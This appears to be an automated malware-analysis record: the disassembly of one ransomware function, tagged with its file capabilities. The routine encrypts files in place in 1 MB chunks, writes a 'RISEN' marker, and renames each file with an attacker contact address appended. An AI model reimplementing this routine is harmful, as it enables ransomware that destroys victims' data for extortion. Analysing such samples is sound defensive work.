Function at 0x401760
Capabilities:
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [0x43e44c]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x150], eax
mov eax, dword [0x43e0b4]
mov dword [ebp - 0x140], edi
mov dword [ebp - 0x148], eax
push dword [edi]
push str.Encrypt_:__s
call fcn.00402d80
mov ecx, dword [edi]
add esp, 8
call fcn.00401000
test eax, eax
je 0x4017d0
push dword [edi]
push str.File_is_Encrypted_:__s
call fcn.00402d80
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
push 0x100000
call fcn.00406d9c
add esp, 4
mov ebx, eax
mov dword [ebp - 0x144], ebx
push 0x384
call fcn.00406d9c
mov ecx, dword [str.RISEN]
add esp, 4
mov dword [ebp - 0x13c], ecx
mov cx, word [0x41ee6c]
mov dword [ebp - 0x158], eax
mov word [ebp - 0x138], cx
test ebx, ebx
jne 0x401831
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push dword [edi]
push str.Cant_malloc_memory_for_buffer__s._GetLastError___lu
call fcn.00402d80
add esp, 0xc
jmp 0x401ea3
mov ecx, dword [edi]
call fcn.00401680
test eax, eax
je 0x401e94
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [edi + 4], eax
cmp eax, 0xffffffff
je 0x401e8b
lea esi, [edi + 0x88]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x40187f
mov eax, dword [esi]
or eax, dword [esi + 4]
jne 0x401888
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x150]
lea eax, [ebp - 0x13c]
mov ecx, dword [ebp - 0x148]
push eax
push edi
call fcn.004010e0
add esp, 8
test eax, eax
jne 0x4018e6
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push dword [edi]
push str.Cant_gen_key_for_file__s._GetLastError___lu
call fcn.00402d80
add esp, 0xc
lea eax, [ebp - 0x140]
mov ecx, 4
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4018d0
mov edi, dword [ebp - 0x140]
jmp 0x401ea3
mov edx, 0x100
lea ecx, [ebp - 0x136]
call fcn.00401240
mov dword [ebp - 0x34], eax
mov ecx, 0x16
lea eax, [ebp - 0x30]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401901
nop dword [eax]
movzx eax, word [ecx + 0x4353f4]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x32], ax
test ax, ax
jne 0x401910
push 2
push 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x154], xmm0
push dword [ebp - 0x150]
push dword [ebp - 0x154]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push 0x124
lea eax, [ebp - 0x13c]
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x401982
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push dword [edi]
push str.Cant_write_to_file__s._GetLastError___lu
call fcn.00402d80
add esp, 0xc
jmp 0x401ea3
push 0
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x154], xmm0
mov esi, dword [ebp - 0x150]
mov ebx, dword [ebp - 0x154]
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov ecx, dword [edi + 0x8c]
mov eax, dword [edi + 0x88]
test ecx, ecx
jl 0x401dc2
jg 0x4019c9
cmp eax, 0x1500000
jbe 0x401b71
push 0
push 0xa00000
push ecx
push eax
call fcn.004181e0
mov ecx, edx
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x148], ecx
xorps xmm0, xmm0
movlpd qword [ebp - 0x164], xmm0
test ecx, ecx
jl 0x401b13
jg 0x401a02
test eax, eax
je 0x401b13
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x160], eax
nop word [eax + eax]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x100000
push dword [ebp - 0x144]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x401cc7
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x144]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.00401f10
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push 0x100000
push dword [ebp - 0x144]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x401b50
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x148]
sub eax, 2
sbb ecx, 0
cmp dword [ebp - 0x160], eax
jne 0x401ac3
cmp dword [ebp - 0x15c], ecx
jne 0x401ac3
mov ebx, dword [edi + 0x88]
mov esi, dword [edi + 0x8c]
sub ebx, 0x100000
sbb esi, 0
jmp 0x401acc
add ebx, 0xa00000
adc esi, 0
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
add eax, 1
mov dword [ebp - 0x160], eax
adc ecx, 0
mov dword [ebp - 0x15c], ecx
cmp ecx, dword [ebp - 0x148]
jl 0x401a20
jg 0x401b13
cmp eax, dword [ebp - 0x150]
jb 0x401a20
mov ebx, dword [ebp - 0x144]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [ebp - 0x158]
test esi, esi
jne 0x401e13
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push dword [edi]
push str.Cant_malloc_memory_for_rename__s._GetLastError___lu
call fcn.00402d80
add esp, 0xc
mov esi, 1
jmp 0x401ea5
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push dword [edi]
push str.Cant_write_to_file__s._GetLastError___lu
call fcn.00402d80
mov ebx, dword [ebp - 0x144]
add esp, 0xc
jmp 0x401ea3
test ecx, ecx
jl 0x401dc2
jg 0x401b86
cmp eax, 0x500000
jbe 0x401c80
push 0
push 2
push ecx
push eax
call fcn.004181e0
xorps xmm0, xmm0
mov dword [ebp - 0x15c], eax
movlpd qword [ebp - 0x154], xmm0
mov ecx, dword [ebp - 0x150]
mov dword [ebp - 0x148], ecx
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x150], ecx
push 0
lea eax, [ebp - 0xc]
push eax
push 0x100000
push dword [ebp - 0x144]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x401cc7
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x144]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.00401f10
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x144]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x401b50
mov ecx, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x160]
sub ecx, 0x80000
push 0
sbb eax, 0
add ebx, ecx
push 0
adc esi, eax
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov eax, dword [ebp - 0x150]
add eax, 1
mov dword [ebp - 0x150], eax
adc dword [ebp - 0x148], 0
js 0x401bc0
jg 0x401b13
cmp eax, 3
jb 0x401bc0
jmp 0x401b13
test ecx, ecx
jl 0x401dc2
jg 0x401c95
cmp eax, 0x100000
jbe 0x401dc2
sub eax, 0x80000
push 0
mov dword [ebp - 0x148], eax
sbb ecx, 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0x150], ecx
push eax
push 0x80000
push dword [ebp - 0x144]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x401ce8
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push dword [edi]
push str.Cant_read_file__s._GetLastError___lu
call fcn.00402d80
mov ebx, dword [ebp - 0x144]
add esp, 0xc
jmp 0x401ea3
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x144]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.00401f10
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov ebx, dword [ebp - 0x144]
lea eax, [ebp - 0x10]
push 0
push eax
push dword [ebp - 0xc]
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x401967
mov esi, dword [ebp - 0x148]
push 0
push 0
push dword [ebp - 0x150]
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x80000
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x401d7d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push dword [edi]
push str.Cant_read_file__s._GetLastError___lu
call fcn.00402d80
add esp, 0xc
jmp 0x401ea3
push dword [ebp - 0xc]
mov edx, ebx
lea ecx, [edi + 8]
push ebx
call fcn.00401f10
add esp, 8
push 0
push 0
push dword [ebp - 0x150]
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x401b19
jmp 0x401967
push 0
lea eax, [ebp - 0xc]
push eax
push dword [edi + 0x88]
push dword [ebp - 0x144]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x401cc7
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x144]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.00401f10
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov ebx, dword [ebp - 0x144]
jmp 0x401da2
push dword [edi]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x41f15c
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
call esi
push str.Default_firemail.de
push dword [ebp - 0x158]
call esi
push 0x41f164
push dword [ebp - 0x158]
call esi
push 0x4353f4
push dword [ebp - 0x158]
call esi
mov esi, dword [ebp - 0x158]
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_MoveFileW]
test eax, eax
jne 0x401e7b
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push esi
push dword [edi]
push str.Cant_rename_file__s__to___s_GetLastError___lu
call fcn.00402d80
add esp, 0x10
push esi
call fcn.00406d97
add esp, 4
mov esi, 1
jmp 0x401ea5
push dword [edi]
push str.Can_t_Open_File_:__s
jmp 0x401e9b
push dword [edi]
push str.Can_t_Access_to_File_:__s
call fcn.00402d80
add esp, 8
xor esi, esi
mov ecx, 0x40
lea eax, [edi + 8]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401eb0
mov ecx, 0x20
lea eax, [edi + 0x48]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401ec3
mov ecx, 0x20
lea eax, [edi + 0x68]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x401ed6
push dword [edi]
call fcn.00406d97
add esp, 4
push ebx
call fcn.00406d97
mov ecx, dword [ebp - 8]
add esp, 4
mov eax, esi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004052f0
mov esp, ebp
pop ebp
ret